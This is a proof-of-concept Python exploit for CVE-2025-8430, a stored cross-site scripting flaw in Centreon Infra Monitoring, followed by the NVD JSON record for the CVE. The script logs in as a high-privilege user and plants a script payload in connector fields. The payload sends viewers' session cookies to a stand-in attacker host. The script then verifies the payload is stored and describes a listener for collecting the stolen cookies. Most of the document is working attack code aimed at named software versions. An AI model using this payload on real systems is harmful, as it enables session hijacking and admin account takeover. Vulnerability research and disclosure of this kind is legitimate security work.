CVE-2025-8430

# CVE-2025-8430 - Centreon Infra Monitoring Stored XSS PoC # Vulnerability: Stored XSS in Commands Connectors configuration module # Affected versions: 24.10.0 before 24.10.13, 24.04.0 before 24.04.18, 23.10.0 before 23.10.28 # Required privilege: High (PR:H) import requests from bs4 import BeautifulSoup TARGET_URL = "https://target-centreon.example.com" USERNAME = "attacker_high_priv_user" PASSWORD = "password123" LISTENER_URL = "https://attacker.example.com/steal" session = requests.Session() # Step 1: Login to Centreon with elevated privileges login_url = f"{TARGET_URL}/centreon/api/latest/login" login_payload = { "security": { "credentials": { "login": USERNAME, "password": PASSWORD } } } resp = session.post(login_url, json=login_payload) print(f"[*] Login status: {resp.status_code}") # Step 2: Navigate to Commands Connectors configuration page connector_page_url = f"{TARGET_URL}/centreon/main.php?p=60901" resp = session.get(connector_page_url) soup = BeautifulSoup(resp.text, 'html.parser') # Step 3: Inject malicious XSS payload into connector name/description field # The payload exfiltrates session cookies to attacker-controlled server xss_payload = f'<script>new Image().src="{LISTENER_URL}?c="+document.cookie</script>' print(f"[*] XSS Payload: {xss_payload}") # Step 4: Submit the malicious connector configuration # The endpoint and parameters may vary based on Centreon version add_connector_url = f"{TARGET_URL}/centreon/main.php?p=60901&o=a" connector_payload = { "connector_name": xss_payload, "connector_description": xss_payload, "command_line": f'/bin/echo {xss_payload}', "connector_status": "1" } resp = session.post(add_connector_url, data=connector_payload) print(f"[*] Payload submission status: {resp.status_code}") # Step 5: Verify stored payload (optional) list_url = f"{TARGET_URL}/centreon/main.php?p=60901" resp = session.get(list_url) if xss_payload in resp.text: print("[+] XSS payload successfully stored!") print("[*] When any user (especially admin) views this connector config,") print("[*] the malicious script will execute and exfiltrate their session cookies.") else: print("[-] Payload may not have been stored. Check response manually.") # Step 6: Attacker server receives stolen cookies # On attacker.example.com, set up a listener to capture exfiltrated cookies # Example using a simple HTTP server: # python3 -m http.server 80 # Received request: GET /steal?c=PHPSESSID=abc123...

{"cve": {"id": "CVE-2025-8430", "sourceIdentifier": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "published": "2025-10-14T17:16:14.403", "lastModified": "2025-10-22T14:10:20.427", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Centreon Infra Monitoring (Commands Connectors configuration modules) allows Stored \n\nXSS by users with elevated privileges.\n\nThis issue affects Infra Monitoring: from 24.10.0 before 24.10.13, from 24.04.0 before 24.04.18, from 23.10.0 before 23.10.28."}], "metrics": {"cvssMetricV31": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "23.10.0", "versionEndExcluding": "23.10.28", "matchCriteriaId": "52CE7EB8-492F-4469-9E01-8C63144D785F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.04.0", "versionEndExcluding": "24.04.18", "matchCriteriaId": "7C3C1C61-F2EB-4900-9BB7-C80A6C538E5E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:centreon:centreon_web:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.10.0", "versionEndExcluding": "24.10.13", "matchCriteriaId": "09800EB4-10FC-4667-9FC8-88D9A8BB2751"}]}]}], "references": [{"url": "https://github.com/centreon/centreon/releases", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Release Notes"]}, {"url": "https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-8430-centreon-web-all-versions-medium-severity-5118", "source": "bd4443e6-1eef-43f3-9886-25fc9ceeaae7", "tags": ["Vendor Advisory"]}]}}